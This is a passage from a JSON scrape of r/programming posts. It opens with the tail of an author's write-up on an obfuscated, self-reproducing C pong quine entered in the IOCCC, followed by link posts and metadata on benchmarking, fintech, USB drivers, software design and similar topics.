1\",\";x$e=\",\"5\",\";x$f=\",\"10\",\";x$g=\",\"62\",\";x$h=\",\"5\",\";x$i[6]={1,3,1,4\\\n    ,1,0};char*j[]={\",\"\",\"};x$k=0;x$l=1;x$m(){l++;w$l==1)y!v$44);w$l==2)y!\\\n    v$34)   ;char$o=j[k][l-3];w!o){l=0;k++;y!v$34);}w$o==34){A$y$v   $34);\\\n    }w$o=   =92){A$y$A}w$o!=32&&o!=1   0)y!v$o);y$m();}void$n(x$o,   x$p){\\\n    aspri   ntf(j+o,\\\"%i\\\",p);}x$mai   n(x$o,char**p){char*q;w$c<2   )a+=c\\\n    ;b+=d   ;x$r=b+2>f/2&&b<f/2+5;x$s=a+2==g&&b+2>h&&b<h+5;w$c<2){   w$a==\\\n    e+2&&   r||s){a-=c;b-=d;c=-c;}w$a<0||a>67){w$a<0){c=2;d=0;}a=3   4;b=6\\\n    ;}w$b<0||b>13){b-=d;d=-d;}w$f/2>10)f-=2;w$h>10)h--;w$o>1){w*p[1]==119&\\\n    &h>0)h--;w*p[1]==101&&h<10)h++;}s=f/2-b+1;w$s<0)f++;w$s>0)f--;}z{b++;w\\\n    $d<0)d++;w$b>=13){w$o>1&&*p[1]==119)d=-4;b=13;}w$f/2<15-i[c-2])f+=2;z$\\\n    e--;w$h<15-i[c-1])h++;z$g--;w$e+3<=0){c++;w$c<7){e=g;f=h*2;g=70;h=15-i\\\n    [c-1];}z{e=5;g=62;c=1;d=1;}}w$a+2==e&&r||s){c=2;e=5;f=28;g=62;h=12;}}n\\\n    \\\n    (1,a);n(3,b);n(5,c);n(7,d);n(9,e);n(11,f);n(13,g);n(15,h);for(s=0;s<\",\"29\",\";s++){w$s)v$32);q=j[s];r=1;for(char*t=q;*t;t++)w*t==\",\"36\",\")v$32);z$w*t==\",\"39\",\")B$z$w*t!=32&&*t!=10){r=0;v*t);w*t==123||*t==125||*t==59)v$32);}w$r){m();A$B$A$B$for(o=0;o<15;o++){for(x$u=0;u<70;u++)w$k>=\",\"29\",\"||u>=a&&o>=b&&u-a<3&&o-b<2||u>=e&&o>=f/2&&u-e<3&&o-f/2<5||u>=g&&o>=h&&u-g<3&&o-h<5)v$32);z$w$m())u++;w$l)A$B}w$l)A$B$for(;k<\",\"29\",\";)m();}}B}\" } ; x k=0; x l=1; x m(){ l++; w l==1)y!v 44); w l==2)y!v 34); char o=j[k][l-3]; w!o){ l=0; k++; y!v 34); } w o==34){ A y v 34); } w o==92){ A y A} w o!=32&&o!=10)y!v o); y m(); } void n(x o,x p){ asprintf(j+o,\"%i\",p); } x main(x o,char**p){ char*q; w c<2)a+=c; b+=d; x r=b+2>f/2&&b<f/2+5; x s=a+2==g&&b+2>h&&b<h+5; w c<2){ w a==e+2&&r||s){ a-=c; b-=d; c=-c; } w a<0||a>67){ w a<0){ c=2; d=0; } a=34; b=6; } w b<0||b>13){ b-=d; d=-d; } w f/2>10)f-=2; w h>10)h--; w o>1){ w*p[1]==119&&h>0)h--; w*p[1]==101&&h<10)h++; } s=f/2-b+1; w s<0)f++; w s>0)f--; } z{ b++; w d<0)d++; w b>=13){ w o>1&&*p[1]==119)d=-4; b=13; } w f/2<15-i[c-2])f+=2; z e--; w h<15-i[c-1])h++; z g--; w e+3<=0){ c++; w c<7){ e=g; f=h*2; g=70; h=15-i[c-1]; } z{ e=5; g=62; c=1; d=1; } } w a+2==e&&r||s){ c=2; e=5; f=28; g=62; h=12; } } n(1,a); n(3,b); n(5,c); n(7,d); n(9,e); n(11,f); n(13,g); n(15,h); for(s=0; s< 29 ; s++){ w s)v 32); q=j[s]; r=1; for(char*t=q; *t; t++)w*t== 36 )v 32); z w*t== 39 )B z w*t!=32&&*t!=10){ r=0; v*t); w*t==123||*t==125||*t==59)v 32); } w r){ m(); A B A B for(o=0; o<15; o++){ for(x u=0; u<70; u++)w k>= 29 ||u>=a&&o>=b&&u-a<3&&o-b<2||u>=e&&o>=f/2&&u-e<3&&o-f/2<5||u>=g&&o>=h&&u-g<3&&o-h<5)v 32); z w m())u++; w l)A B} w l)A B for(; k< 29 ; )m(); } } B}\n\nAt least, that's the rabbit hole I fell into while working on my [IOCCC entry](https://www.ioccc.org/2025/uellenberg/index.html) above, which is a version of pong that outputs a modified copy of its source code to generate the next frame of the game, rendering the current frame inside that same source code. It can be played by continuously compiling and running the output of the previous program, passing args to control your player.\n\nThis led me to writing Insert, a programming language to do just that (because, frankly, I'm not sure I have what it takes to write it all by hand). Its purpose is to produce C programs that can modify and output their own code, and which are optimized to be as small as possible (in number of characters). [Click here for the original source code](https://github.com/uellenberg/Insert/blob/a2239b3234f7477b340c8db70bcf4e68d1b2f6d4/test/src/pong.int) used to create the monstrous incantation of C above.\n\nOf course, something like this isn't particularly useful, but that's never been a good reason not to do it! On the contrary, I've found a lot of value in indulging in silly programs like this, and there are so many fascinating things that have to be done to make it all work.\n\nAt a high level, you have to finish most of the compilation process to get a nearly complete piece of C code, then inject that code into itself so it can be accessed at runtime. There are a few tricks needed to sidestep some of the chicken-and-egg problems that arise from quines, which makes the whole process very interesting to dive into. For example, the nearly complete C code might look like:\n\n    string thisCode = \"INJECT HERE\";\n    int main() { /* ... */ }\n\nThen, after injecting into itself, it looks like:\n\n    string thisCode = \"string thisCode = \\\"INJECT HERE\\\";\\nint main() { /* ... */ }\";\n    int main() { /* ... */ }\n\nOf course, if you just print out the value of `thisCode`, you'll get the nearly complete version of code instead of the actual version that you ran. So, at runtime, `INJECT HERE` must first be replaced with the value of `thisCode`, completing the quine.\n\nThere are a bunch of other brain teasers, such as how the program's behavior must depend on what its compiled output looks like. For example, at the program in the top, spaces are replaced by `$` to free them up for formatting, but the reason dollar sign in particular is used is just because it doesn't appear in the compiled output. Instead of somehow modifying the program based on future knowledge, you can very carefully inject some data derived from the nearly complete C code back into it, being mindful of how this affects program behavior (in this case, by injecting it as a character code and not a literal).\n\nSo, if you're curious about self-modifying quines or strange (and exciting!) compiler optimizations, I invite you to read through the writeup and tinker with the language and compiler. I've written about the language features and other design considerations that let the compiler automate a lot of the work to generate these quines, and am more than happy to answer any questions or to go into more detail!\n\n[IOCCC writeup](https://www.ioccc.org/2025/uellenberg/index.html)\n\n[Compiler (written in Rust)](https://github.com/uellenberg/Insert)",
  "author": "uellenberg",
  "subreddit": "programming",
  "score": 83,
  "upvoteRatio": 0.91,
  "numComments": 8,
  "createdAt": "2026-06-26T22:36:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ioccc.org/2025/uellenberg/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uge87g",
  "url": "https://medium.com/@joaocordeiroalmeida/how-i-targeted-youtube-with-my-rust-web-browser-and-what-it-taught-me-54b649652df6?postPublishedType=repub",
  "permalink": "https://www.reddit.com/r/programming/comments/1uge87g/how_i_targeted_youtube_with_my_rust_web_browser/",
  "title": "How I Targeted Youtube with my Rust Web Browser. And what it taught me",
  "body": "**DISCLAIMER : NO AI OR LLMS WERE USED IN WRITING THIS ARTICLE . EVERY SINGLE WORD WAS TYPED MANUALLY USING A KEYBOARD**\n\nI HAVE A COMPLETE UNEDITED VIDEO OF ME WRITING THE ARTICLE HERE:  \n[https://www.youtube.com/watch?v=6j1dbN64LyI](https://www.youtube.com/watch?v=6j1dbN64LyI)",
  "author": "Inevitable_Back3319",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.29,
  "numComments": 1,
  "createdAt": "2026-06-26T18:03:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@joaocordeiroalmeida/how-i-targeted-youtube-with-my-rust-web-browser-and-what-it-taught-me-54b649652df6?postPublishedType=repub",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ugcct7",
  "url": "https://david.alvarezrosa.com/posts/tuning-a-server-for-benchmarking/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ugcct7/tuning_a_server_for_benchmarking/",
  "title": "Tuning a Server for Benchmarking",
  "body": "Optimizing code starts with measuring it, and a measurement is only useful if it is repeatable: a 2% improvement is invisible under 5% of noise. Yet on an untuned machine the same binary can easily run several percent faster or slower between runs. In this post we take a tiny benchmark and tune the machine step by step, re-measuring after every change, until runs become deterministic.\n\nContinue reading—[Tuning a Server for Benchmarking](https://david.alvarezrosa.com/posts/tuning-a-server-for-benchmarking/)",
  "author": "david-alvarez-rosa",
  "subreddit": "programming",
  "score": 28,
  "upvoteRatio": 0.81,
  "numComments": 5,
  "createdAt": "2026-06-26T16:54:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://david.alvarezrosa.com/posts/tuning-a-server-for-benchmarking/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ug2xt2",
  "url": "https://williamdue.github.io/blog/parallel-parentheses-matching",
  "permalink": "https://www.reddit.com/r/programming/comments/1ug2xt2/parallel_stacks_parentheses_matching/",
  "title": "Parallel Stacks & Parentheses Matching",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.81,
  "numComments": 0,
  "createdAt": "2026-06-26T10:24:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://williamdue.github.io/blog/parallel-parentheses-matching",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ug0oim",
  "url": "https://cekrem.github.io/posts/parse-dont-validate-typescript/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ug0oim/parse_dont_validate_in_a_language_that_doesnt/",
  "title": "Parse, Don't Validate — In a Language That Doesn't Want You To",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 11,
  "createdAt": "2026-06-26T08:14:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/parse-dont-validate-typescript/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ufzafr",
  "url": "https://w.pitula.me/fintech-engineering-handbook/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ufzafr/fintech_engineering_handbook/",
  "title": "Fintech Engineering Handbook",
  "body": "I just published Fintech Engineering Handbook distilled from 6 years of tears, sweat and swears. \n\nIt’s a free \\~25-page resource with various hints and patterns around handling money in software systems. \n\nTell me what you think!",
  "author": "Krever",
  "subreddit": "programming",
  "score": 613,
  "upvoteRatio": 0.95,
  "numComments": 51,
  "createdAt": "2026-06-26T06:55:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://w.pitula.me/fintech-engineering-handbook/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ufsqxj",
  "url": "https://www.youtube.com/watch?v=i0Dip6rBNRA",
  "permalink": "https://www.reddit.com/r/programming/comments/1ufsqxj/cartridge_style_development_everything_in_one_exe/",
  "title": "Cartridge Style Development - Everything in One .exe File!",
  "body": null,
  "author": "UltimaN3rd",
  "subreddit": "programming",
  "score": 83,
  "upvoteRatio": 0.87,
  "numComments": 36,
  "createdAt": "2026-06-26T01:27:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=i0Dip6rBNRA",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ufopd6",
  "url": "https://werwolv.net/posts/usb_for_sw_devs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ufopd6/usb_for_software_developers_an_introduction_to/",
  "title": "USB for Software Developers: An introduction to writing userspace USB drivers",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 286,
  "upvoteRatio": 0.96,
  "numComments": 19,
  "createdAt": "2026-06-25T22:29:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://werwolv.net/posts/usb_for_sw_devs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ufjnr1",
  "url": "https://www.redspring.xyz/blog/vlm-ocr-bench",
  "permalink": "https://www.reddit.com/r/programming/comments/1ufjnr1/ocring_100000_pages_with_opensource_vlms_on_modal/",
  "title": "OCR’ing 100,000 pages with open-source VLMs on Modal",
  "body": null,
  "author": "patrickdevivo",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 4,
  "createdAt": "2026-06-25T19:16:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.redspring.xyz/blog/vlm-ocr-bench",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ufcx1g",
  "url": "https://www.omegasyntax.com/domino/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ufcx1g/domino_tiling_from_dynamic_programming_to_finite/",
  "title": "Domino Tiling: From Dynamic Programming to Finite Fields",
  "body": "[https://www.omegasyntax.com/domino/](https://www.omegasyntax.com/domino/)\n\nSeries of articles about Domino Tiling problem.",
  "author": "eugene",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.84,
  "numComments": 16,
  "createdAt": "2026-06-25T15:15:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.omegasyntax.com/domino/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ufcwid",
  "url": "https://ajmmertens.medium.com/building-an-ecs-data-oriented-hierarchies-62fb2847d100",
  "permalink": "https://www.reddit.com/r/programming/comments/1ufcwid/building_an_entity_component_system_data_oriented/",
  "title": "Building an Entity Component System: Data Oriented Hierarchies",
  "body": "[Data Oriented Design](https://en.wikipedia.org/wiki/Data-oriented_design) is the practice of building code that's optimized for the hardware it runs on. Entity Component Systems help writing DOD-friendly code by laying out otherwise allocation-heavy game data in contiguous arrays.\n\n  \nA challenge in gamedev however is that lots of game data is stored and accessed as hierarchies that change frequently, which makes them notoriously difficult to store as contiguous arrays.\n\n  \nThis article goes over a number of techniques an Entity Component System can use to integrate hierarchies with the core datamodel in a way that *improves* the performance of the ECS. Written mostly for gamedev, but also applies to other hierarchy-heavy applications, like UI.",
  "author": "ajmmertens",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.73,
  "numComments": 9,
  "createdAt": "2026-06-25T15:15:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ajmmertens.medium.com/building-an-ecs-data-oriented-hierarchies-62fb2847d100",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ufc0ki",
  "url": "https://martinfowler.com/eaaCatalog/serviceLayer.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ufc0ki/the_dogma_of_entitybased_services_and_repositories/",
  "title": "The dogma of entity-based Services and Repositories",
  "body": "Every day I see more projects where a layer-per-entity approach is created by default: `UserService`, `UserRepository`, `OrderService`, `OrderRepository`, and so on.\n\nMy issue is not with layering itself, but with how these layers are used.\n\nIn theory, a *Service* should represent application behavior: something that encapsulates real use cases or meaningful interactions with external systems (payments, emails, APIs, etc.). Something with enough significance to justify being isolated.\n\nA *Repository*, in theory, should exist when there is real complexity in data access: multiple data sources, non-trivial persistence logic, evolving storage mechanisms, etc.\n\nHowever, in practice, they often degrade into something else:\n\n* services that simply delegate calls\n* repositories that are thin wrappers around an ORM\n* interfaces with no meaningful alternative implementation\n\nAt that point, the abstraction starts to lose its purpose.\n\nWhy not use the ORM directly when there is no real complexity to hide?\n\nWhy do we default to intermediate layers that don’t truly represent either a service or a repository in their original sense?\n\nIt often feels like they add files, indirection, and noise without improving clarity.\n\nI’m not saying these layers are inherently bad. I’m trying to understand why they are so often applied by default, even when they don’t serve their actual purpose.\n\nDoes this approach really improve clarity, or does it just introduce unnecessary complexity?\n\nFor example, instead of organizing code around generic services per model, we could structure it around explicit use cases for concrete system actions. These would still live within an application/service layer in the sense described by Fowler, but without forcing a generic `ModelService` structure for everything.\n\nThe goal would be to design around intent rather than around structural templates—so the code reflects what the system *does*, not just how it is *layered*.",
  "author": "Character-Method-720",
  "subreddit": "programming",
  "score": 220,
  "upvoteRatio": 0.87,
  "numComments": 166,
  "createdAt": "2026-06-25T14:42:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://martinfowler.com/eaaCatalog/serviceLayer.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uf8d96",
  "url": "https://youtu.be/u4Cv65F9DcY",
  "permalink": "https://www.reddit.com/r/programming/comments/1uf8d96/best_simple_system_for_now_daniel_terhorstnorth/",
  "title": "Best Simple System for Now • Daniel Terhorst-North",
  "body": "Software teams often face a false choice: move fast and accumulate technical debt, or build the perfect system and miss the deadline. But there may be a third path, the Best Simple System for Now (BSSN).\n\nThis session introduces a pragmatic yet principled approach to software design: systems that are as simple as possible but no simpler. You’ll learn how to design code that is robust, change-friendly, and fit for purpose, while avoiding both gold-plating and corner-cutting.\n\nThrough practical examples, we explore how to manage complexity, embrace uncertainty, and make sound decisions using concepts like Cost of Delay and RAROC.",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.61,
  "numComments": 2,
  "createdAt": "2026-06-25T12:17:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/u4Cv65F9DcY",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uevttg",
  "url": "https://refactoringenglish.com/excerpts/write-an-effective-design-doc/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uevttg/how_to_write_an_effective_software_design_document/",
  "title": "How to Write an Effective Software Design Document",
  "body": null,
  "author": "mtlynch",
  "subreddit": "programming",
  "score": 471,
  "upvoteRatio": 0.95,
  "numComments": 42,
  "createdAt": "2026-06-25T01:09:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://refactoringenglish.com/excerpts/write-an-effective-design-doc/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ueg71x",
  "url": "https://tabularis.dev/blog/database-drivers-as-external-processes?rdt",
  "permalink": "https://www.reddit.com/r/programming/comments/1ueg71x/running_database_drivers_as_sandboxed_external/",
  "title": "Running database drivers as sandboxed external processes (and why a HashMap insert was a security boundary)",
  "body": null,
  "author": "debba_",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.76,
  "numComments": 0,
  "createdAt": "2026-06-24T15:09:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tabularis.dev/blog/database-drivers-as-external-processes?rdt",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uecln7",
  "url": "https://www.markuzo.me/2026/06/24/caching-profiling-macos.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uecln7/measuring_cache_misses_on_macos_with_instruments/",
  "title": "Measuring cache misses on macOS with Instruments",
  "body": "I couldn't find many resources online that showed how to see cache misses on macOS. I thought I'd learn a bit about Instruments, throw some toy problems at it, and write about the experience in a blog post.\n\nThese toy examples - iterating sequentially then randomly, summing elements in a matrix, naive vs tiled matmul and iterating AoS vs SoA - are great to see some real numbers from L1 data cache misses, but they're far away from real programming problems. \n\nWhat's your experience using tools like Instruments/perf/cachegrind to actually optimize an algorithm? Is it ever needed to measure this at the hardware counter level or can you get away with intuition about the size of your data structure, how it's been accessed and using basic timers? ",
  "author": "markuzo1",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.73,
  "numComments": 9,
  "createdAt": "2026-06-24T12:49:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.markuzo.me/2026/06/24/caching-profiling-macos.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uebttq",
  "url": "https://youtu.be/c0oewpwkwOg?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1uebttq/the_evolution_of_user_interfaces_ken_pfeuffer/",
  "title": "The Evolution of User Interfaces • Ken Pfeuffer",
  "body": "Every generation gets a new interface:\n\n⌨️ Keyboard  \n🖱️ Mouse  \n📱 Touchscreen\n\nWhat's next?",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.56,
  "numComments": 1,
  "createdAt": "2026-06-24T12:14:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/c0oewpwkwOg?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ueboqi",
  "url": "https://cekrem.github.io/posts/elm-run-batch-job/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ueboqi/a_batch_job_in_the_elm_architecture/",
  "title": "A batch job, in The Elm Architecture",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.62,
  "numComments": 0,
  "createdAt": "2026-06-24T12:07:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/elm-run-batch-job/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uebi9d",
  "url": "https://abdellani.dev/posts/2026-06-23-how-grafana-alloy-builds-and-runs-its-component-graph/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uebi9d/how_grafana_alloy_builds_and_runs_its_component/",
  "title": "How Grafana Alloy Builds and Runs Its Component Graph",
  "body": "I spent some time reading Grafana Alloy’s source code to understand how it loads configuration, builds a dependency graph, evaluates components, and runs them.\n\nI wrote a short breakdown of what I learned, mainly focused on the runtime/controller, loader, scheduler, services, and component lifecycle.\n\nIt is not a complete deep dive into the whole project, but more of a source-code reading note from exploring a real production Go codebase.\n\n  \nFeedback is welcome, especially from people familiar with observability systems or large Go codebases.",
  "author": "am0123",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-06-24T12:00:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://abdellani.dev/posts/2026-06-23-how-grafana-alloy-builds-and-runs-its-component-graph/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uebctq",
  "url": "https://som-itsolutions.hashnode.dev/the-barrier-in-c-20-concurrency-the-programmer-in-me-is-still-thriving",
  "permalink": "https://www.reddit.com/r/programming/comments/1uebctq/the_barrier_in_c_20_concurrent_programming_example/",
  "title": "The Barrier in C++ 20 - concurrent programming example...",
  "body": null,
  "author": "sommukhopadhyay",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 1,
  "createdAt": "2026-06-24T11:52:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://som-itsolutions.hashnode.dev/the-barrier-in-c-20-concurrency-the-programmer-in-me-is-still-thriving",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ue916q",
  "url": "https://adamtornhill.substack.com/p/an-opinionated-and-mainly-correct",
  "permalink": "https://www.reddit.com/r/programming/comments/1ue916q/an_opinionated_and_mainly_correct_guide_to_naming/",
  "title": "An opinionated (and mainly correct) guide to naming",
  "body": null,
  "author": "nephrenka",
  "subreddit": "programming",
  "score": 98,
  "upvoteRatio": 0.78,
  "numComments": 78,
  "createdAt": "2026-06-24T09:49:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://adamtornhill.substack.com/p/an-opinionated-and-mainly-correct",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ue8voi",
  "url": "https://youtu.be/ASF6snvxZUE",
  "permalink": "https://www.reddit.com/r/programming/comments/1ue8voi/video_websockets_at_scale_system_design/",
  "title": "[video] WebSockets at Scale: System Design",
  "body": null,
  "author": "lucian-12",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2026-06-24T09:40:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/ASF6snvxZUE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ue841x",
  "url": "https://leetarxiv.substack.com/p/special-q-descent-and-lattice-sieving-931",
  "permalink": "https://www.reddit.com/r/programming/comments/1ue841x/pollards_lattice_sieve_for_specialq_descent_in/",
  "title": "Pollard's Lattice Sieve for Special-Q Descent in Python",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2026-06-24T08:53:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/special-q-descent-and-lattice-sieving-931",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ue3wq7",
  "url": "https://www.linkedin.com/pulse/from-production-traffic-testing-codeless-shadow-neder-rotem-gal-oz-uzzdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1ue3wq7/from_production_traffic_to_testing_a_codeless/",
  "title": "From Production Traffic to Testing: A Codeless Shadow Architecture",
  "body": "OSS extensible K8s shadow environment",
  "author": "arnonrgo",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 0,
  "createdAt": "2026-06-24T04:51:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.linkedin.com/pulse/from-production-traffic-testing-codeless-shadow-neder-rotem-gal-oz-uzzdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ue3vb4",
  "url": "https://matduggan.com/if-i-could-make-my-own-github/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ue3vb4/if_i_could_make_my_own_github/",
  "title": "If I Could Make My Own GitHub",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.34,
  "numComments": 14,
  "createdAt": "2026-06-24T04:49:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://matduggan.com/if-i-could-make-my-own-github/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ue3nu9",
  "url": "https://words.filippo.io/vuln-reports/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ue3nu9/vulnerability_reports_are_not_special_anymore/",
